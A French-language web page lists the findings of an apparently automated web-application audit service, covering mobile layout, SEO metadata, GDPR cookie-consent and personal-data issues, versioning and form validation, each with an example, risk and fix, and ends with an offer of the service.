Un élément interactif est partiellement visible mais coupé par un bord de l'écran (dépasse à droite ou déborde à gauche en négatif). Typiquement un menu ou dropdown ancré près d'un bord qui rend hors-champ sur mobile.

Exemple
Un menu déroulant absolute right-0 w-64 rendu à left: -84px sur un écran de 375px.
Risque
Options/actions inaccessibles.
Correction
Ancrer les menus mobiles en fixed inset-x-2 plutôt qu'en absolute largeur fixe près d'un bord.
Un réglage qui ne change rien quand on le modifie

La valeur d'une liste déroulante ou d'une case à cocher a été modifiée, et rien ne s'est produit : aucune requête, aucun changement à l'écran, aucun message. Le contrôle est présent, mais il ne pilote rien d'observable.

Exemple
Un filtre « Statut » sur une liste : changer la valeur ne relance aucun appel et la liste reste identique.
Risque
L’utilisateur croit avoir filtré et lit des données qui ne correspondent pas à sa demande.
Correction
Vérifier que le gestionnaire de changement est bien câblé et qu’il relance la requête ou le rendu.
Une commande qui ne produit rien d’observable

Un élément cliquable (bouton, lien, élément avec handler) ne produit aucun changement détectable : pas de mutation DOM, pas de requête réseau, pas de navigation.

Exemple
Clic sur 'Rafraîchir' → handler câblé mais en réalité no-op.
Risque
Actions critiques perçues comme exécutées alors que rien ne se passe.
Correction
Tracer le handler avec un log, vérifier que la mutation/requête est bien émise.
Une fenêtre qui s’ouvre en partie hors de l’écran

Une fois ouvert, un overlay (dropdown, menu, popover) s'affiche partiellement hors de l'écran sur mobile. Détecté en ouvrant chaque déclencheur (mode --probe) puis en re-vérifiant le clipping de l'état ouvert.

Exemple
Le sélecteur de créneau ouvre un menu rendu à x = -84 sur un écran de 375px.
Risque
Options de l'overlay inaccessibles.
Correction
Ancrer les overlays mobiles en fixed inset-x-2 ; tester l'état ouvert, pas seulement l'état initial.
Une zone qui défile de côté sans raison

Un conteneur en overflow-x: auto/scroll scrolle horizontalement au mobile là où il devrait s'adapter. Le débordement est masqué au check document car le scroll est contenu.

Exemple
Un tableau d'historique overflow-x-auto -mx-6 qui scrolle à 375px au lieu de s'empiler.
Risque
Contenu masqué hors du scroll.
Correction
Rendre les tables responsives (empilement en cartes sur mobile) ; opt-in explicite data-allow-xscroll sinon.

Référencement

18

Ce que les moteurs de recherche comprennent de la page.

Aucun fichier ne dit aux moteurs de recherche quoi indexer robots.txt

La page /robots.txt n’a pas répondu. Les moteurs de recherche explorent le site sans consigne explicite sur ce qu’il faut indexer, éviter, ou à quelle vitesse le parcourir.

Exemple
Une zone d’administration jamais déclarée en interdiction peut finir indexée par accident.
Risque
Des pages non destinées au public peuvent apparaître dans les résultats de recherche.
Correction
Servir un /robots.txt minimal (User-agent: * puis les règles utiles) à la racine du site.
Aucun plan du site pour aider les moteurs de recherche à tout trouver sitemap.xml

La page /sitemap.xml n’a pas répondu. Les moteurs de recherche ne découvrent alors les pages qu’en suivant les liens internes, ce qui laisse de côté les pages profondes ou faiblement liées.

Exemple
Une fiche produit récente, liée depuis un seul endroit peu visible, met des semaines à être indexée.
Risque
Des pages existantes mais peu liées restent invisibles pour la recherche pendant longtemps.
Correction
Générer un /sitemap.xml listant les pages publiques, et le déclarer dans /robots.txt.
L’aperçu réseaux sociaux n’a pas d’image og:image

Pas de <meta property="og:image">. Le partage s'affiche sans visuel, format nettement moins repérable dans un fil ou une conversation.

Exemple
Un partage LinkedIn réduit à une bande de texte grise sans illustration.
Risque
Visibilité et engagement réduits sur les partages sociaux.
Correction
Ajouter <meta property="og:image" content="https://…/share.png"> en 1200×630.
L’aperçu réseaux sociaux n’a pas de description og:description

Pas de <meta property="og:description">. La carte de partage se remplit d'un fragment de contenu tronqué, ou reste vide.

Exemple
Une carte LinkedIn affichant un bout de menu de navigation en guise de résumé.
Risque
Accroche du lien partagé inexistante, engagement en baisse.
Correction
Ajouter <meta property="og:description" content="…">, réutilisable depuis la meta description.
L’aperçu réseaux sociaux n’a pas de titre og:title

Pas de <meta property="og:title">. Les aperçus générés par LinkedIn, Slack, X ou les messageries n'ont pas de titre à afficher et retombent sur l'URL brute.

Exemple
Un lien collé dans Slack affiche https://app.exemple.fr/a/312 sans aucun libellé.
Risque
Liens partagés peu cliqués : rien n'indique ce qu'ils contiennent.
Correction
Ajouter <meta property="og:title" content="…"> par page, aligné sur le <title>.
L’application ne peut pas être installée comme une app web manifest

La page ne référence pas de web app manifest (<link rel="manifest">). Le site ne peut pas être installé en PWA ni fournir d'icônes/nom propres sur mobile.

Exemple
« Ajouter à l'écran d'accueil » utilise une capture générique au lieu d'une icône dédiée.
Risque
Pas d'installation PWA.
Correction
Ajouter un manifest.webmanifest (nom, icônes, theme_color) et le lier dans le <head>.
La description du contenu pour les moteurs de recherche est invalide JSON-LD

Un bloc JSON-LD présent dans la page contient du JSON syntaxiquement invalide. Il est silencieusement ignoré par les moteurs : la donnée structurée est perdue alors que le développeur croit la fournir.

Exemple
Une virgule en trop ou un guillemet non échappé dans le JSON-LD fait échouer tout le bloc.
Risque
Donnée structurée totalement ignorée (rich results absents).
Correction
Valider le JSON-LD via le Rich Results Test de Google et corriger la syntaxe.
La page a plusieurs titres principaux h1

La page comporte plusieurs <h1>. Le sujet principal devient ambigu et la hiérarchie annoncée aux lecteurs d'écran s'aplatit. HTML5 tolère la construction dans des éléments de sectionnement : à relire avant d'ouvrir un ticket.

Exemple
Une page assemblée à partir de blocs CMS où chaque bloc pose son propre <h1>.
Risque
Signal de sujet dilué pour les moteurs.
Correction
Ne garder qu'un <h1> (le titre de la page) et rétrograder les autres en <h2>/<h3>.
La page demande aux moteurs de recherche de l’ignorer noindex

La page porte une directive noindex (balise meta robots ou en-tête X-Robots-Tag) : elle ne sera pas indexée. Légitime sur une zone privée ou technique, le constat est informatif et demande une confirmation d'intention.

Exemple
Un noindex global posé pendant une recette et laissé en place à la mise en production.
Risque
Page publique absente des moteurs, trafic organique nul.
Correction
Vérifier l'intention : retirer noindex des pages publiques, le réserver aux zones privées ou techniques.
La page n’a pas d’aperçu pour les réseaux sociaux Open Graph

Pas de balises og:title, og:image, og:description. Le partage sur réseaux sociaux génère un aperçu pauvre voire vide.

Exemple
Partage sur LinkedIn → aucune image, titre tronqué → CTR très bas.
Risque
CTR social effondré, partages moins engageants.
Correction
Ajouter og:title, og:description, og:image (1200×630) au minimum.
La page n’a pas d’icône favicon

Aucune favicon (<link rel="icon">) n'est déclarée. L'onglet du navigateur et les favoris affichent une icône générique.

Exemple
Plusieurs onglets ouverts du même site impossibles à distinguer au pictogramme.
Risque
Site perçu comme inachevé.
Correction
Fournir une favicon (favicon.ico ou <link rel="icon"> SVG/PNG) et un apple-touch-icon.
La page n’a pas de résumé pour les moteurs de recherche meta description

Aucune <meta name="description">. Le moteur compose lui-même le résumé affiché sous le lien, à partir d'un fragment arbitraire de la page, souvent un menu ou un pied de page.

Exemple
Le résultat Google affiche « Accueil Contact Mentions légales… » repris du menu.
Risque
Taux de clic organique réduit : le résumé ne donne aucune raison de cliquer.
Correction
Ajouter une <meta name="description" content="…"> de 140-160 caractères résumant la page.
La page n’a pas de titre <title>

La page ne fournit pas de <title> exploitable. C'est le seul libellé dont disposent les résultats de recherche, l'onglet du navigateur, l'historique et les favoris, et c'est la première chose qu'un lecteur d'écran annonce au chargement.

Exemple
L'onglet affiche app.exemple.fr/factures/312 au lieu de « Facture 312 · Exemple ».
Risque
Trafic organique perdu : le résultat est illisible dans les SERP.
Correction
Générer un <title> unique et descriptif par route (50-60 caractères), côté SSR ou via le routeur.
La page n’a pas de titre principal h1

La page ne comporte aucun <h1>. Elle n'expose pas de titre principal : les moteurs n'identifient pas son sujet, et la navigation par en-têtes (le raccourci le plus utilisé par les lecteurs d'écran) n'a pas de point d'entrée.

Exemple
Une page produit dont le nom est affiché dans une <div> stylée : visuellement un titre, structurellement rien.
Risque
Sujet de la page non identifié par les moteurs, positionnement dégradé.
Correction
Promouvoir le titre visuel de la page en <h1> (un seul par page), plutôt qu'une <div> stylée.
La page ne décrit pas son contenu aux moteurs de recherche JSON-LD

La page ne fournit aucune donnée structurée Schema.org en JSON-LD. Google ne peut donc pas afficher de résultats enrichis (fil d'Ariane, dates d'article, FAQ, étoiles) dans ses pages de résultats.

Exemple
Un article de blog sans @type: Article → pas de date ni d'auteur affichés dans Google.
Risque
Taux de clic plus faible dans les résultats de recherche (pas de rich snippet).
Correction
Ajouter un bloc <script type="application/ld+json"> décrivant la page (Article, Organization, BreadcrumbList…) selon Schema.org.
La page ne dit pas quelle est son adresse de référence canonical

Aucune <link rel="canonical">. Les variantes d'une même URL (paramètres de tracking, de tri, de pagination, http/https, avec ou sans www) sont indexées comme des pages distinctes.

Exemple
/produits?utm_source=newsletter et /produits indexées séparément.
Risque
Autorité SEO diluée entre les doublons d'une même page.
Correction
Émettre <link rel="canonical" href="…"> avec l'URL de référence, côté rendu serveur.
Le titre principal de la page est incorrect h1

La page n'a pas exactement une <h1>. Hiérarchie incertaine pour Google et les lecteurs d'écran.

Exemple
Page sans <h1> → Google génère un titre depuis le <title> ou un fragment de contenu.
Risque
SEO dégradé.
Correction
Garantir un seul <h1> par page, qui résume le sujet principal.
Pas d’aperçu pour X (Twitter) Twitter Card

La page ne déclare pas de <meta name="twitter:card">. Les partages sur X/Twitter affichent un lien nu, sans vignette ni titre enrichi.

Exemple
Partage d'un article sur X → simple URL sans image d'aperçu.
Risque
Engagement social réduit sur les partages.
Correction
Ajouter les balises twitter:card, twitter:title, twitter:description et twitter:image.

Gouvernance

16

Le consentement, les mentions et les règles que l’application doit tenir.

Aucun bandeau ne demande le consentement aux témoins cookies

Aucun mécanisme de consentement cookies n'est détecté. Si des trackers tiers sont chargés, c'est une violation directe du RGPD.

Exemple
Google Analytics chargé immédiatement → tracking sans consentement.
Risque
Sanctions CNIL (jusqu'à 4 % CA mondial).
Correction
Mettre en place un CMP (Cookie Management Platform) conforme : tarteaucitron, Axeptio, OneTrust, ou un opt-in maison strict.
Aucun moyen visible de supprimer son compte ou ses données

L'écran de compte ou de paramètres ne présente aucun contrôle de suppression du compte ou des données personnelles.

Exemple
Page « Paramètres du compte » sans bouton ni lien « Supprimer mon compte ».
Risque
Exercice du droit à l'effacement (RGPD Art. 17) réduit à un contact manuel, sans délai garanti.
Correction
Ajouter un contrôle dédié « Supprimer mon compte / mes données » sur l'écran de compte, relié à une procédure d'effacement.
Des données personnelles envoyées à un traceur

Une requête de tracking tierce transporte une donnée personnelle (email, identifiant utilisateur) en clair dans sa query string.

Exemple
.../collect?uid=jean.dupont@example.com envoyé à un analytics tiers.
Risque
Fuite de PII vers un sous-traitant sans base légale.
Correction
Ne jamais passer d'email/identifiant en clair aux traceurs ; utiliser des identifiants pseudonymisés.
Des services tiers détenteurs de données personnelles sont appelés depuis la page data recipient mapping

Des hôtes tiers appartenant à des catégories détentrices de données personnelles (CRM, emailing, analytics, support, paiement) reçoivent des appels depuis cette page. Le constat cartographie leur présence ; il ne vérifie pas qu'une demande d'effacement leur est effectivement propagée.

Exemple
Des appels sont observés vers un hôte de CRM et un hôte d’emailing tiers.
Risque
Une demande d'effacement RGPD traitée seulement dans la base principale laisse la donnée vivante chez ces destinataires tiers.
Correction
Étendre la procédure d'effacement à chaque système tiers détenteur de données identifié ici (cf. article 17 RGPD).
Des témoins de suivi posés avant tout consentement cookies de tracking

Des cookies non essentiels (analytics, publicité, fingerprinting) sont posés AVANT que l'utilisateur ait donné son consentement explicite. Violation directe du RGPD et des lignes directrices CNIL : la simple visite de la page entraîne du tracking non autorisé.

Exemple
Cookie _ga (Google Analytics) déposé dès l'arrivée sur la home, avant tout clic sur le bandeau.
Risque
Sanctions CNIL : jusqu'à 4 % du chiffre d'affaires annuel mondial (cas Google : 150 M€, Amazon : 35 M€).
Correction
Bloquer l'initialisation de tout tracker tiers (Google Analytics, Meta Pixel, Hotjar...) tant que le consentement n'est pas explicitement enregistré : utiliser un CMP (Axeptio, OneTrust, tarteaucitron) ou un gating maison strict.
Des témoins sont posés avant tout consentement cookies

Des cookies non essentiels (analytics, ads) sont posés AVANT que l'utilisateur ait cliqué sur 'accepter'. Non-conforme RGPD.

Exemple
Cookie _ga (Google Analytics) posé dès l'arrivée sur la home, avant interaction.
Risque
Sanctions CNIL (cas Google, Amazon condamnés sur ce motif).
Correction
Bloquer l'initialisation des trackers tant que le consentement n'est pas explicite, et purger les cookies déjà posés.
Des traceurs encore actifs après un refus

Après un clic sur « Refuser » dans le bandeau de consentement, des requêtes de tracking tierces continuent de partir. Le refus n'est pas respecté.

Exemple
Clic sur « Tout refuser » → GA4/Meta Pixel se déclenchent quand même au rechargement.
Risque
Violation RGPD/ePrivacy la plus flagrante.
Correction
Bloquer réellement le chargement des traceurs tant que le consentement n’est pas donné (consent mode).
Des traceurs sans aucun dispositif de consentement CMP

Des traceurs tiers sont présents mais aucune plateforme de gestion du consentement (Didomi, OneTrust, Axeptio, Cookiebot…) n'a été détectée.

Exemple
Meta Pixel chargé alors qu'aucune bannière/CMP n'est présente sur le site.
Risque
Impossible de recueillir ou prouver le consentement.
Correction
Intégrer une CMP et conditionner le chargement des traceurs à son signal de consentement.
Le bandeau des témoins ne renvoie pas vers les conditions cookies

Le bandeau de consentement ne propose aucun lien vers la politique de confidentialité ou les conditions d'utilisation. La personne consent sans pouvoir consulter ce à quoi elle consent.

Exemple
Un bandeau qui n’offre que « Accepter » et « Refuser », sans « En savoir plus ».
Risque
Consentement difficilement qualifiable d'éclairé au sens du RGPD.
Correction
Ajouter dans le bandeau un lien direct vers la politique de confidentialité.
Un champ sensible obligatoire sans explication de sa finalité

Un champ requis porte sur une donnée sensible (date de naissance, téléphone, adresse…) et aucun texte à proximité n'explique pourquoi elle est demandée.

Exemple
Champ « Date de naissance » obligatoire, sans mention de son usage (âge légal, statistiques…).
Risque
Collecte perçue comme excessive au regard de la finalité déclarée.
Correction
Ajouter une courte phrase à côté du champ expliquant pourquoi cette donnée est nécessaire.
Un identifiant sensible est affiché sans masquage PAN / NIR

Un numéro de carte bancaire ou de sécurité sociale apparaît en clair, en entier, dans le contenu affiché de la page au lieu de montrer seulement ses derniers chiffres.

Exemple
4111 1111 1111 1111 affiché en entier plutôt que •••• •••• •••• 1111.
Risque
Exposition immédiate en cas de capture d'écran ou de partage de session.
Correction
Ne jamais afficher plus des 4 derniers chiffres ; masquer le reste côté serveur, avant envoi au navigateur.
Un traceur se déclenche avant tout consentement

Une ou plusieurs requêtes vers des services de tracking tiers (Google Analytics, Meta Pixel, Hotjar…) partent dès le chargement, avant que l'utilisateur ait donné son consentement.

Exemple
GA4 (google-analytics.com/g/collect) appelé au premier rendu, sans clic sur « Accepter ».
Risque
Violation RGPD/ePrivacy directement sanctionnable (CNIL).
Correction
Ne charger les scripts de tracking qu'après un consentement explicite via une CMP (consent mode).
Une donnée est envoyée sans jamais être demandée à l’écran corps de requête API

Une requête d'écriture transporte une clé qu'aucun champ visible du formulaire ne demande : la personne ne sait pas que cette donnée part.

Exemple
POST /api/profile envoie dateOfBirth alors que le formulaire affiché ne comporte qu'un champ email.
Risque
Collecte non transparente pour la personne concernée.
Correction
Retirer la clé du corps envoyé, ou ajouter le champ correspondant si la collecte est réellement nécessaire.
Une donnée personnelle circule dans une adresse de la page query string

Une donnée personnelle (email, téléphone, IBAN…) apparaît dans les paramètres d'une requête vers l'application elle-même : elle finit dans les journaux serveur et l'historique du navigateur.

Exemple
GET /api/search?email=jean.dupont@example.com au lieu de la transmettre dans le corps de la requête.
Risque
Donnée personnelle journalisée durablement côté serveur.
Correction
Transmettre la donnée dans le corps de la requête (POST) plutôt que dans son adresse.
Une donnée personnelle est conservée dans le stockage du navigateur localStorage / sessionStorage

Une donnée personnelle est écrite en clair dans le stockage local ou de session du navigateur, où tout script exécuté sur la page peut la lire.

Exemple
localStorage.setItem("profile", JSON.stringify({ email, iban })).
Risque
Lecture possible par un script tiers compromis (XSS).
Correction
Ne stocker côté client que des identifiants techniques, jamais la donnée personnelle elle-même.
Une réponse d’erreur répète une donnée personnelle saisie

Une réponse en erreur (4xx/5xx) de l'application réintègre dans son corps une donnée personnelle que la personne venait de saisir.

Exemple
Un formulaire refusé avec 500 { "error": "duplicate for jean.dupont@example.com" }.
Risque
Donnée personnelle capturée par un outil de supervision ou un proxy.
Correction
Faire répondre l'API avec un message d'erreur générique, sans réinjecter la valeur saisie.

Socle technique

8

Les composants, versions et outils que la page embarque.

Aucune version de l’application n’est identifiable depuis l’extérieur version applicative

Aucune page visitée ne porte de marqueur de version (pied de page, balise meta, en-tête X-App-Version) : impossible de dater ou d'identifier de l'extérieur la version actuellement déployée.

Exemple
Le pied de page ne mentionne aucun numéro de version, aucune balise <meta name="version"> n'est présente, aucun en-tête X-App-Version n'a été observé.
Risque
Impossible pour un client ou un partenaire de vérifier de l'extérieur si un correctif annoncé est bien déployé.
Correction
Exposer un numéro de version visible (pied de page, /version, en-tête X-App-Version).
La version affichée ne suit pas de convention MAJOR.MINOR.PATCH SemVer

La version trouvée (footer, meta, en-tête) n'a pas la forme MAJOR.MINOR.PATCH : un numéro de build, une date ou un identifiant arbitraire ne dit rien de la nature du changement.

Exemple
Le pied de page affiche Build 20240315-a1b2c3d plutôt qu’un numéro 2.4.1.
Risque
Un intégrateur ne peut pas déduire du numéro seul si une évolution casse la compatibilité.
Correction
Adopter MAJOR.MINOR.PATCH (Semantic Versioning) pour le numéro de version exposé.
Les erreurs du serveur n’ont pas de forme définie

Les erreurs API ne suivent pas un format standardisé (parfois { error: '...' }, parfois { message }, parfois plain text). Le front ne sait pas afficher des messages cohérents.

Exemple
Erreur 400 renvoyée tantôt en JSON, tantôt en plain text.
Risque
Messages d'erreur incohérents pour l'utilisateur.
Correction
Adopter un format unifié (RFC 7807 / { code, message, details }) et le documenter.
Les fichiers de l’application ne portent pas d’empreinte de contenu dans leur nom content hash

Les fichiers JS/CSS de l'application sont servis sous un nom fixe (app.js) plutôt qu'un nom incluant une empreinte de leur contenu (app.3f2a1c9.js) : le cache ne peut pas distinguer deux versions successives du même fichier.

Exemple
main.js est identique d’une visite à l’autre dans son nom, quel que soit le contenu réellement livré.
Risque
Un cache CDN ou navigateur peut servir une ancienne version après déploiement, sans moyen fiable de le détecter.
Correction
Faire porter au nom de fichier un hash de son contenu (fingerprinting), généré par le bundler.
Un même appel ne renvoie pas toujours la même forme de données contrat API

Une même endpoint renvoie des shapes différents selon les appels (champs absents, types changeants). Le front doit gérer plusieurs formes.

Exemple
/api/user renvoie parfois { name }, parfois { firstName, lastName }.
Risque
Bugs front intermittents difficiles à reproduire.
Correction
Définir un schéma OpenAPI / Zod côté serveur, normaliser les réponses.
Un service de feature flags externe pilote des fonctionnalités de l’application feature flag SDK

Le navigateur appelle un service tiers de feature flags (LaunchDarkly, Unleash, Flagsmith, Split, ConfigCat) : certaines fonctionnalités sont activées ou désactivées par une configuration externe à l’application.

Exemple
Un appel réseau vers clientsdk.launchdarkly.com est observé au chargement de la page.
Risque
Une indisponibilité du service de flags peut désactiver des fonctionnalités si la valeur par défaut n'est pas le comportement existant.
Correction
Documenter les flags actifs et leur valeur par défaut en cas d'indisponibilité du service.
Un service extérieur appelé sans être connu de l’équipe dépendance API tierce

Une dépendance vers une API tierce (CRM, paiement, géocodage, IA, etc.) est utilisée par l'app sans être documentée dans un inventaire central (registre de dépendances, ADR, doc d'architecture). En cas de panne ou de changement de contrat, l'équipe peut être prise au dépourvu.

Exemple
L'app dépend de api.stripe.com mais Stripe n'apparaît pas dans le registre des dépendances → panne Stripe = panne silencieuse du paiement, personne n'est alerté immédiatement.
Risque
Interruption de service silencieuse en cas de panne du tiers.
Correction
Maintenir un registre des dépendances API tierces (ADR, fichier dependencies.yaml, ou outil dédié) et automatiser sa mise à jour depuis le code (scan des appels HTTP).
Une bibliothèque client observée porte un numéro de version exploitable pour un inventaire SCA / SBOM

La même lecture de version de bibliothèque front que SE-09, ici retenue comme point de départ d’un inventaire de dépendances (SBOM) plutôt que comme signal de sécurité : la présence d’une version n’est pas un défaut.

Exemple
jquery-3.4.1.min.js identifie une dépendance et sa version exacte, utilisable dans un inventaire.
Risque
Sans inventaire centralisé, une dépendance vulnérable découverte plus tard est longue à localiser dans l'application.
Correction
Constituer un SBOM des dépendances front à partir de ces versions observées, tenu à jour à chaque déploiement.

Formulaires

7

Ce que les formulaires demandent, vérifient et répondent.

Le formulaire de création de compte n’a pas été essayé

Le formulaire crée un compte (champ mot de passe, route ou libellé d'inscription). Il n'est jamais soumis sans --allow-account-creation, même avec --submit-valid-forms : ouvrir un compte laisse une trace réelle chez la cible, souvent un e-mail, et ne se défait pas depuis l'extérieur.

Exemple
Page /signup avec e-mail + mot de passe.
Risque
Ce n'est pas un défaut de l'application : c'est une couverture d'audit manquante, signalée plutôt que tue.
Correction
Relancer avec --allow-account-creation sur un environnement de test, jamais sur une production sans accord écrit du propriétaire.
Un formulaire accepte d’être envoyé vide

Soumettre le formulaire à vide ne déclenche aucun blocage côté client. L'utilisateur attend une réponse serveur (lente, frustrante).

Exemple
L'utilisateur clique 'Envoyer' sans remplir → loader 3 s puis erreur 400 → confusion.
Risque
UX dégradée (latence inutile, erreurs tardives).
Correction
Activer la validation HTML5 (required + <form novalidate> non utilisé) ou un check JS au submit.
Un formulaire correctement rempli échoue à l’envoi

Un formulaire rempli avec des valeurs valides échoue à la soumission. Bug fonctionnel grave : on bloque les conversions.

Exemple
Form d'inscription avec email valide → erreur 500 → utilisateur ne peut pas s'inscrire.
Risque
Perte directe de conversion (inscription, paiement, leads).
Correction
Tracer l'erreur serveur (logs + Sentry) et reproduire avec les valeurs exactes.
Un formulaire où aucun champ n’est déclaré obligatoire required

Le formulaire ne marque aucun champ comme required. L'utilisateur peut soumettre vide : soit le serveur encaisse, soit il rejette tardivement.

Exemple
Form de contact sans required → soumission vide → mail vide envoyé au support.
Risque
Données métier corrompues (lignes vides, comptes orphelins).
Correction
Marquer les champs obligatoires avec required côté HTML + validation serveur.
Un formulaire refusé ou impossible à envoyer

L'audit a rempli le formulaire avec des valeurs plausibles et l'a envoyé ; l'application l'a refusé, ou aucun bouton d'envoi n'était visible. Le message affiché est dans les occurrences.

Exemple
Un formulaire de création qui répond « identifiants invalides » parce que la session est tombée.
Risque
Un utilisateur qui remplit ce formulaire peut ne jamais aboutir.
Correction
Lire le message refusé dans les occurrences : s'il parle d'identifiants, c'est la session de l'audit ; sinon, reproduire l'envoi à la main.
Un formulaire sans règles de validation déclarées

Le formulaire a été reconnu par heuristique (composant sans balise <form>) ; ses champs n'ont ni attribut required ni type précis. Le navigateur ne peut rien valider avant l'envoi.

Exemple
Un bloc de deux champs et un bouton, sans <form>, sur la page d’accueil.
Risque
Aucune validation native : tout part au serveur.
Correction
Envelopper dans un <form>, poser required et type sur les champs.
Un problème de formulaire

Le formulaire présente un défaut structurel ou de robustesse (champ sans label, absence de validation, comportement inattendu à la soumission).

Exemple
Un champ requis sans indication ni validation côté client.
Risque
Saisie pénible et taux d’abandon élevé.
Correction
Associer chaque champ à un label, valider côté client, et afficher un retour explicite (succès/erreur) à la soumission.
→ sortie

Il entre là où les autres s’arrêtent.

Le voyage ne s’active que sur demande. Envoyez-moi trois choses, vous recevez le rapport.

  • L’adresse de l’application, en préproduction de préférence
  • Un compte de test, avec les droits d’un utilisateur ordinaire
  • Le périmètre lecture seule, ou formulaires et clics autorisés
cedric@siliceum.com

Ce qui se passe ensuite

  1. Vous m’écrivez l’adresse et le périmètre. Le compte de test arrive à part, jamais dans le courriel.
  2. Je lance le passage et je relis le rapport avant de vous l’envoyer.
  3. On le lit ensemble, une demi-heure en visio, pour que votre équipe sache par où commencer.

Les premiers passages sont offerts, relecture comprise, aux équipes qui acceptent de me dire ensuite ce qui leur a manqué dans le rapport.